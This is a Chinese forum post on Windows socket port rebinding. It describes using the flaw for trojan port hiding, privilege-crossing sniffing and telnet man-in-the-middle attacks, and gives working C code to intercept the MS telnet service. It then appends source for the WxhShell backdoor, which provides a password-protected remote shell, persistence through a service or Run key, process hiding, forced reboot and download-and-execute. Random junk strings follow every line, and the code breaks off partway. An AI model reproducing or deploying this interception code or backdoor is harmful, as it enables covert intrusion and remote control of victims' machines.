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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,B*EVN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >;aWz%-  
/Vx7mF:  
  saddr.sin_family = AF_INET; z>1Pz(  
Y!aSs3c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |#v7/$!  
Y #ap*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); G/y5H;<9M  
!]A  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Hp|kQJ[LE  
Hs;4lSyUO  
  这意味着什么?意味着可以进行如下的攻击: T8?Ghbn  
*/5d>04  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 58}U^IW  
:;%2BSgFU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) y1jCg%'H  
H*?t^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >mbHy<<  
F/,NDZN  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  nSDMOyj+  
k>Is:P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 NR$3%0 nC6  
>4x(e\B  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;>%r9pz ~  
\i>?q   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |"q5sym8Y_  
Y,qI@n<  
  #include {r,.!;mHu  
  #include Q^P}\wb>  
  #include [~+wk9P  
  #include    gi3F` m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   + )AG*  
  int main() q^@Q"J =v  
  { c`)\Pb/O  
  WORD wVersionRequested; i]c!~`  
  DWORD ret; X;+sUj8  
  WSADATA wsaData; &C5_g$Ma.Z  
  BOOL val;  \{_q.;}  
  SOCKADDR_IN saddr; N@4w! HpJ  
  SOCKADDR_IN scaddr; V5@:#BIs  
  int err; 4!{KWL`A  
  SOCKET s; # " 6Qj'/h  
  SOCKET sc; 8L=HW G!1  
  int caddsize; .fqN|[>  
  HANDLE mt; @(w@e\Bq  
  DWORD tid;   1/B>XkCJ  
  wVersionRequested = MAKEWORD( 2, 2 ); n-2]M0 5O  
  err = WSAStartup( wVersionRequested, &wsaData ); -vo})lO  
  if ( err != 0 ) { G6Axs1a  
  printf("error!WSAStartup failed!\n"); 4d4ZT?V[  
  return -1; 5:[0z5Hww  
  } 98c(<  
  saddr.sin_family = AF_INET; ](]i 'fE>  
   2 0h} [Q(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h%na>G  
& GO}|W  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #b}Z`u?@  
  saddr.sin_port = htons(23); H\"sgoJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |)th1 UH  
  { _#E0g'3  
  printf("error!socket failed!\n"); 5J.bD)yrP  
  return -1; i$"F{|Z0  
  } JPI3[.o  
  val = TRUE; h|9L5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ITXa&5D  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  `,*3[  
  { 5X$jl;6  
  printf("error!setsockopt failed!\n"); e`_LEv  
  return -1; |-67 \p]  
  } MTh<|$   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u(.e8~s8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )gUR@V>e2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %)8}X>xq  
\~mT] '5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K hR81\  
  { ;u ({\K  
  ret=GetLastError(); x_Y!5yg E  
  printf("error!bind failed!\n"); epe)a  
  return -1; q'F+OQb1  
  } DH!~ BB;  
  listen(s,2); [#vH'y  
  while(1) <8&au(I,vB  
  { h 0Q5-EA  
  caddsize = sizeof(scaddr); '3tCH)s  
  //接受连接请求 UYJZYP%r  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K#d`Hyx  
  if(sc!=INVALID_SOCKET) `wEb<H  
  { Np9<:GF1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s?}e^/"v  
  if(mt==NULL) )F>#*P  
  { `5.'_3  
  printf("Thread Creat Failed!\n"); C`9+6T  
  break; {$ JYw{a  
  } } 9Eg=%0v  
  } ~rKrpb]ow  
  CloseHandle(mt); xGg )Y#  
  } 4N3R|  
  closesocket(s); ;bib/  
  WSACleanup(); }!r|1$,kL  
  return 0; s};{ZAtE  
  }   @o _}g !9=  
  DWORD WINAPI ClientThread(LPVOID lpParam) t\,PB{P:J  
  { zu{P#~21  
  SOCKET ss = (SOCKET)lpParam; q"J]%zO  
  SOCKET sc; 2r?G6D|  
  unsigned char buf[4096]; Jhhb7uU+  
  SOCKADDR_IN saddr; oW*16>IN9l  
  long num; ,T$U'&;  
  DWORD val;  "Og7rl  
  DWORD ret; 06Sceq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 d#4**BM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   vMH  
  saddr.sin_family = AF_INET; b9HtR-iR;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]MitOkX  
  saddr.sin_port = htons(23); EgCAsSx(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6Y?|w3f   
  { X *"i6 *  
  printf("error!socket failed!\n"); h2]P]@nW;W  
  return -1; {@{']Y  
  } agDM~=#F  
  val = 100; :KP @RZm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L+i=VGm0  
  { K;H&n1  
  ret = GetLastError(); oQVgyj.  
  return -1; H3=qe I  
  } @,my7?::oM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F/kWHVHU[  
  { {]@= ijjf  
  ret = GetLastError(); /{n-Y/j p  
  return -1; O;jrCB  
  } q{LF>Wi  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) LCKV>3+_#  
  {  DA,?}  
  printf("error!socket connect failed!\n"); 4p;`C  
  closesocket(sc); -zeG1gr3  
  closesocket(ss); #f]SK[nR  
  return -1; p]+Pkxz]'  
  } []1C$.5DD  
  while(1) `l[c_%Bm  
  { s*]}QmRpr  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;'@9[N9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 MKi0jwJM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }(73Syl#  
  num = recv(ss,buf,4096,0); z$. 88 ^  
  if(num>0) j6 z^Tt12  
  send(sc,buf,num,0); S|N_o   
  else if(num==0) vXZOy%$o  
  break; %l[( Iw  
  num = recv(sc,buf,4096,0); +\ .Lp 5  
  if(num>0) &B1WtW  
  send(ss,buf,num,0); e6$WQd`O  
  else if(num==0) f r6 fj  
  break; 5Yq@;e  
  } VjZ|$k  
  closesocket(ss); "@0]G<H  
  closesocket(sc); ?IT*: A] E  
  return 0 ; t-bB>q#3>  
  } )Y{L&A  
;85>xHK  
lq;P ch  
========================================================== #.)0xfGW)n  
SoSb+\* @h  
下边附上一个代码,,WXhSHELL >_T-u<E  
LFRlzz;  
========================================================== y _k l:Ssa  
`Eo.v#<  
#include "stdafx.h" w+u3*/Zf  
Z,Dl` w  
#include <stdio.h> }N6.Uu 5zI  
#include <string.h> .|i.Cq8  
#include <windows.h> [5Mr@f4I  
#include <winsock2.h> Q sCheHP  
#include <winsvc.h> ~dTrf>R8M  
#include <urlmon.h> jasy<IqT!{  
H8}oIA"b  
#pragma comment (lib, "Ws2_32.lib") LBDjIpR6  
#pragma comment (lib, "urlmon.lib") Si;H0uPO  
q(W3i^778  
#define MAX_USER   100 // 最大客户端连接数 dJNe+ MB`  
#define BUF_SOCK   200 // sock buffer *_\_'@1|J)  
#define KEY_BUFF   255 // 输入 buffer $Ri; ^pZw[  
-;WGS o  
#define REBOOT     0   // 重启 G mA< g  
#define SHUTDOWN   1   // 关机 vy:Z/1q  
LsU9 .  
#define DEF_PORT   5000 // 监听端口 }a(dyr`S  
z1X`o  
#define REG_LEN     16   // 注册表键长度 b,1ePS  
#define SVC_LEN     80   // NT服务名长度 8$Y9ORs4  
Wt~BU.  
// 从dll定义API ml }{|Yz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SSMHoJGm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `*1p0~cu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Jij*x>K>y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Bh-ym8D  
8&b,qQ~  
// wxhshell配置信息 tf`^v6m%]  
struct WSCFG { L$M9w  
  int ws_port;         // 监听端口 j*r{2f4Rt  
  char ws_passstr[REG_LEN]; // 口令 BR;D@R``}  
  int ws_autoins;       // 安装标记, 1=yes 0=no }b.%Im<3R  
  char ws_regname[REG_LEN]; // 注册表键名 z*% q@]ym  
  char ws_svcname[REG_LEN]; // 服务名 -m~#Bq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ; kI134i=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0oIe> r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {&1/V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [S!/E4>['  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \(2sW^fY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2`=7_v  
Wg]Qlw`\|  
}; 0YDR1dO(*  
ye5&)d"fa(  
// default Wxhshell configuration 86F1.ve  
struct WSCFG wscfg={DEF_PORT, XU(eEnmo m  
    "xuhuanlingzhe", ER.}CM6{[  
    1, O3kA;[f;  
    "Wxhshell", YT(AUS5n  
    "Wxhshell", 61'XgkacDS  
            "WxhShell Service", ,Ko!$29[  
    "Wrsky Windows CmdShell Service", JIq=* '  
    "Please Input Your Password: ", Wvf ^N(  
  1, l2Rb\4  
  "http://www.wrsky.com/wxhshell.exe", $*fMR,~t&  
  "Wxhshell.exe" BnasI;yWb  
    }; 3)ywX&4"L  
}-=|^  
// 消息定义模块 -ZLJeY L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5$C-9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f%}xO+.s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -nV9:opD  
char *msg_ws_ext="\n\rExit."; pZy~1L  
char *msg_ws_end="\n\rQuit."; E r?&Y,o  
char *msg_ws_boot="\n\rReboot..."; O :Tj"@h  
char *msg_ws_poff="\n\rShutdown..."; [d ]9Oa4  
char *msg_ws_down="\n\rSave to "; d7bS wL  
Qt<&WB fn  
char *msg_ws_err="\n\rErr!"; '^UI,"Ti  
char *msg_ws_ok="\n\rOK!"; b d!Y\OD  
g[4WzDF*  
char ExeFile[MAX_PATH]; 8KzkB;=n  
int nUser = 0; }k.Z~1y  
HANDLE handles[MAX_USER]; Otn1wBI  
int OsIsNt; ?4T-@~~*`=  
8YSAf+{FtK  
SERVICE_STATUS       serviceStatus; 5`p.#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z<' u1l3  
}Jj}%XxKs  
// 函数声明 jAlv`uB|G"  
int Install(void); AH~E)S  
int Uninstall(void); [(7S.5I  
int DownloadFile(char *sURL, SOCKET wsh); (TT}6j  
int Boot(int flag); am6L8N  
void HideProc(void); $/Uq0U  
int GetOsVer(void); a0H+.W+]  
int Wxhshell(SOCKET wsl); l+0oS'`V*L  
void TalkWithClient(void *cs); s6`?LZ0(z  
int CmdShell(SOCKET sock); +9sQZB# (  
int StartFromService(void); &mS^ZyG  
int StartWxhshell(LPSTR lpCmdLine); mj7#&r,1l  
:?1Dko^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5wU]!bxr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ")p\q:z6  
('+d.F[109  
// 数据结构和表定义 +] {G@pn  
SERVICE_TABLE_ENTRY DispatchTable[] = ]u/sphPe  
{ Q^^niVz  
{wscfg.ws_svcname, NTServiceMain}, YKK*ER0  
{NULL, NULL} 5L}/&^E#p  
}; Xne1gms  
s_p!43\J  
// 自我安装 4 s9LB  
int Install(void) !U Ln7\@  
{ l,aay-E  
  char svExeFile[MAX_PATH]; xxQ;xI0+]  
  HKEY key; k$:|-_(w  
  strcpy(svExeFile,ExeFile); #}5uno  
sU^1wB Rj  
// 如果是win9x系统,修改注册表设为自启动 &=mtc%mL  
if(!OsIsNt) { {Qj~M<@3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X1_5KH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \cM2k-  
  RegCloseKey(key); %^6F_F_jS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SSzIih@u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z0r'S]fe  
  RegCloseKey(key); YtLt*Ig%  
  return 0; j.= 1rwPt  
    } es0hm2HT3  
  } *|HY>U.  
} E _|<jy$`  
else { 3Tm+g2w2V8  
?+8\.a!  
// 如果是NT以上系统,安装为系统服务 .*Qx\,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z\4.Gm-  
if (schSCManager!=0) e&>2 n  
{ tfWS)y7  
  SC_HANDLE schService = CreateService p5*jzQ  
  ( @>7%qS  
  schSCManager, GTxk%   
  wscfg.ws_svcname, &uVnZ@o42  
  wscfg.ws_svcdisp, uhq8   
  SERVICE_ALL_ACCESS, ZYNsHcTY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +aAc9'k   
  SERVICE_AUTO_START, + >!;i6|  
  SERVICE_ERROR_NORMAL, IdN41  
  svExeFile, cm+P]8o%{  
  NULL, (^>J&[=  
  NULL, NwfVL4Xg  
  NULL, 1{.9uw"2S  
  NULL, gnHbb-<i,  
  NULL asqV~n  
  ); f%8C!W]Dm  
  if (schService!=0) {K!)Ss  
  { HK% 7g  
  CloseServiceHandle(schService); )LCHy^'  
  CloseServiceHandle(schSCManager); ]I6  J7A[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Zb#u0Tq  
  strcat(svExeFile,wscfg.ws_svcname); Ew$C ;&9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EiaW1Cs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2 ? 4!K.  
  RegCloseKey(key); rS Ni@;   
  return 0; _(zG?]y0P  
    } $Y gue5{c  
  } U%/+B]6jP  
  CloseServiceHandle(schSCManager); ^kSqsT"  
} K.yb ^dg5  
} -7|H}!DFT  
|&4/n6;P$0  
return 1; 51.%;aY~z  
} DIUjn;>k8  
[KQ6Ta.  
// 自我卸载 . 'yCw#f  
int Uninstall(void) =WJ NWt>  
{ OB}Ib]  
  HKEY key; o<!?7g{  
-%4,@ x`  
if(!OsIsNt) { kvj#c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3 8`<:{^Y  
  RegDeleteValue(key,wscfg.ws_regname); `wU!`\  
  RegCloseKey(key); !1b;F*H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |gY^)9ei  
  RegDeleteValue(key,wscfg.ws_regname); ] }X  
  RegCloseKey(key); ,"0 :3+(8;  
  return 0; k==h|\|  
  } ijU*|8n{>  
} lk80#( :Z  
} SZCze"`[  
else { 3T0"" !Q  
BfiD9ka-z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )BfAw  
if (schSCManager!=0) =H]@n|$(  
{ GsM<2@?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l}M!8:UzU  
  if (schService!=0) _u9Jxw?F@Y  
  { , 9 a  
  if(DeleteService(schService)!=0) { )Xyn q(  
  CloseServiceHandle(schService); | VDV<g5h  
  CloseServiceHandle(schSCManager); k$}fWR  
  return 0; P0jtp7)7  
  } .6 ?U@2  
  CloseServiceHandle(schService); "5$B>S(Q  
  }  "-V"=t'  
  CloseServiceHandle(schSCManager); #gw]'&{8D  
} he hFEyx  
} 18:%~>.!  
KJZ4AWH`  
return 1; ENY+^7  
}  #:%/(j  
@pU)_d!pJ  
// 从指定url下载文件 koi^l`B$  
int DownloadFile(char *sURL, SOCKET wsh) \xoP)Ub>  
{ "kqPmeI  
  HRESULT hr; Aq7osU1B  
char seps[]= "/"; Kx JqbLUC  
char *token; +^T@sa`[I  
char *file; "C`Ub  
char myURL[MAX_PATH]; ,$&&-p I]  
char myFILE[MAX_PATH]; K@hw.Xq"  
g eCM<]  
strcpy(myURL,sURL); ,s;Uf F  
  token=strtok(myURL,seps); E-g_".agO  
  while(token!=NULL) JqiP>4Uwm^  
  { VyGJ=[ ]  
    file=token; }RqK84K  
  token=strtok(NULL,seps); 65^9  
  } GR32S=\  
!%0 * z  
GetCurrentDirectory(MAX_PATH,myFILE); 6)Lk-D  
strcat(myFILE, "\\"); #>+HlT  
strcat(myFILE, file); k$^`{6l  
  send(wsh,myFILE,strlen(myFILE),0); N87B8rDl  
send(wsh,"...",3,0); %84rL?S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A^<iL  
  if(hr==S_OK) HHsmLo c4  
return 0; |$b}L7_  
else ^y%T~dLkp'  
return 1; yz8jw:d^-  
V~5jfcd  
} [ibu/ W$  
| %Vh`HT  
// 系统电源模块 ?5 7Sk+  
int Boot(int flag) 7Jho}5J  
{ ixD)VcD-f  
  HANDLE hToken; n6a`;0f[R  
  TOKEN_PRIVILEGES tkp; /I0%Z+`=  
Y0 -n\|  
  if(OsIsNt) { X}\:_/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~R92cH>L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mL: sJf  
    tkp.PrivilegeCount = 1; "LTad`]<Ro  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q$Q([Au  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `+Q%oj#FF  
if(flag==REBOOT) { ~M4;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *bA.zmzM  
  return 0; hQDXlFHT  
} .OY`Z)SS%  
else { s,&Z=zt0R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |8tilOqI  
  return 0; :G%61x&=Zc  
} Z>5b;8  
  } f=K]XTw~  
  else { G*P#]eO  
if(flag==REBOOT) { K(,F~ .<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wD'SPk5S?  
  return 0; OYTkV}tG  
} v #j$;  
else { ?2Py_gkf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _>X+ZlpU:  
  return 0; 'AS|ZRr/  
} y/ ef>ZZ  
} RdR p.pb8  
7! INkH]  
return 1; U#WF ;q0L  
} 1NA.nw.  
L>4"(  
// win9x进程隐藏模块 QX'qyojxN  
void HideProc(void) lchPpm9  
{ ~%kkeh\j  
fHd#u%63K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 57']#j#"hj  
  if ( hKernel != NULL ) |imM# wF  
  { 0{}8(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A@{PZ   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dE{dZ#Jfi  
    FreeLibrary(hKernel); ,S]7 'UP  
  } ML56k~"BL  
t)$:0  
return; |"CZT#  
} = x)-u8P  
EaY?aAuS:  
// 获取操作系统版本 6) [H?Q  
int GetOsVer(void) l L@XM2"  
{ eF-."1  
  OSVERSIONINFO winfo; B !L{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1JG'%8}#8  
  GetVersionEx(&winfo); C{xaENp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ywmo#qYe  
  return 1; ,Ae6/D$h/  
  else t pQ(g%  
  return 0; T;a}#56{^  
} Zaf:fsj>  
" 9wvPC ^  
// 客户端句柄模块 #rQ2gx4  
int Wxhshell(SOCKET wsl) !")tU+:  
{ w4{<n /"  
  SOCKET wsh; ! Y~FLA_  
  struct sockaddr_in client; C]`$AqKl  
  DWORD myID; V1 `o%;j  
$AjHbU.I{  
  while(nUser<MAX_USER) u$Jz~:=,  
{ MKD1V8i  
  int nSize=sizeof(client); dhf!o0'1M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cj|80$cSA  
  if(wsh==INVALID_SOCKET) return 1; h# o6K#  
h-K_Lr]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _P 3G  
if(handles[nUser]==0) +YKi,  
  closesocket(wsh); Q}K"24`=  
else pis`$_kmwV  
  nUser++; oC: {aK6\  
  } eFTpnG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^]0Pfna+N  
dI@(<R  
  return 0; %XoiVlT@:  
} kY|utoAP  
Y^;ovH~ ve  
// 关闭 socket U} e!Wjrc  
void CloseIt(SOCKET wsh) < #}5IQ5`Z  
{  +yH7v5W  
closesocket(wsh); fo#fg8zX%  
nUser--; bz2ztH9 n  
ExitThread(0); ~Z?TFg  
} t~EPn.  
b_#m}yZ6  
// 客户端请求句柄 G )trG9 .a  
void TalkWithClient(void *cs) $%CF8\0  
{ FxtQXu-g  
?FeYN+qR  
  SOCKET wsh=(SOCKET)cs; fF$<7O)+]  
  char pwd[SVC_LEN]; +`7i 'ff  
  char cmd[KEY_BUFF]; vMi;+6'n>  
char chr[1]; UXc-k  
int i,j; 0d"[l@UU0  
qo90t{|c  
  while (nUser < MAX_USER) { :0j?oY~e  
q77;ZPfs8  
if(wscfg.ws_passstr) { F3v !AvA|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @uqd.Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uGf@  
  //ZeroMemory(pwd,KEY_BUFF); HZzDVCU  
      i=0; [LjT*bi  
  while(i<SVC_LEN) { \:# L)   
nA-.mWD_C  
  // 设置超时 SO|NaqWa  
  fd_set FdRead; Xtq_y'I  
  struct timeval TimeOut; zUkgG61  
  FD_ZERO(&FdRead); h:b)Wr  
  FD_SET(wsh,&FdRead); JgKO|VO  
  TimeOut.tv_sec=8; N=T<_`$5  
  TimeOut.tv_usec=0; ]_mb7X>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $<dH?%!7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 25nt14Y 0u  
G\/zkrxmv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :j9l"5"  
  pwd=chr[0]; ITE{@1  
  if(chr[0]==0xd || chr[0]==0xa) { \%JgH=@ :=  
  pwd=0; 6"L cJ%o  
  break; qOIyub  
  } v}}F,c(f  
  i++; }>pknc?  
    } !=*g@mgF  
[i21FX  
  // 如果是非法用户,关闭 socket GfxZ'VIn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E<{ R.r  
} APn|\  
aD<A.Lhy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )Ys x}vSZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VZp5)-!\  
-/wtI   
while(1) { /kZebNf6H  
`&r+F/Ap2  
  ZeroMemory(cmd,KEY_BUFF); LiC*@W  
}/0X'o  
      // 自动支持客户端 telnet标准   {g'(~ qv  
  j=0; n*R])=F@c  
  while(j<KEY_BUFF) { .wEd"A&j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %+aCJu[k(z  
  cmd[j]=chr[0]; I13y6= d  
  if(chr[0]==0xa || chr[0]==0xd) { 0JWDtmK=C  
  cmd[j]=0; JK7G/]j+Ez  
  break; x 77*c._3v  
  } m<<+  
  j++; A]_7}<<N  
    } |%BOZT  
8 `v-<J  
  // 下载文件 ]{;gw<T  
  if(strstr(cmd,"http://")) { po c`q5i+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HDz5&7* .  
  if(DownloadFile(cmd,wsh)) AmUr.ofu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3<e=g)F  
  else nQF(vTDN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I }a`0Y&{  
  } CQc+#nRe  
  else { \ ,'m</o~,  
`Y0%c Xi3  
    switch(cmd[0]) { PF0_8,@U  
  O0*p0J  
  // 帮助 k`cfG\;r  
  case '?': { <jBF[v9*m(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vRTkgH#4l  
    break; (fhb0i-  
  } 8$] 1M,$r  
  // 安装 _f7 9wx\B  
  case 'i': { ]E{NNHK%2N  
    if(Install()) `{gHA+B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8:q1~`?5"b  
    else oe ~'o'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3RUy, s  
    break; f'F?MINJP  
    } !@5 9)  
  // 卸载 QDZWX`qw{  
  case 'r': { 3h]g}&k  
    if(Uninstall()) H[T?\Lq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YByLoM*  
    else g%aYDl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XjBW9a  
    break; q#~ (/  
    } GWGSd\z  
  // 显示 wxhshell 所在路径 1l9 G[o *  
  case 'p': { BqEI(c 6  
    char svExeFile[MAX_PATH]; )J=!L\  
    strcpy(svExeFile,"\n\r"); t <~h'U  
      strcat(svExeFile,ExeFile); pG_;$8Hc  
        send(wsh,svExeFile,strlen(svExeFile),0); &*o=I|pQ  
    break; R- X5K-  
    } ,.S~ Y  
  // 重启 @?ebuj5{e  
  case 'b': { "%)qRe  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cF*TotU_m  
    if(Boot(REBOOT)) v{RZJ^1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b\f O8{k  
    else { IZf{nQ[0  
    closesocket(wsh); EZgwF =lO  
    ExitThread(0); t}_r]E,{u  
    } " > ypIR<  
    break; '(6z. toQ  
    } P-[-pi@  
  // 关机 3F"lXguS  
  case 'd': { 3l]lwV  
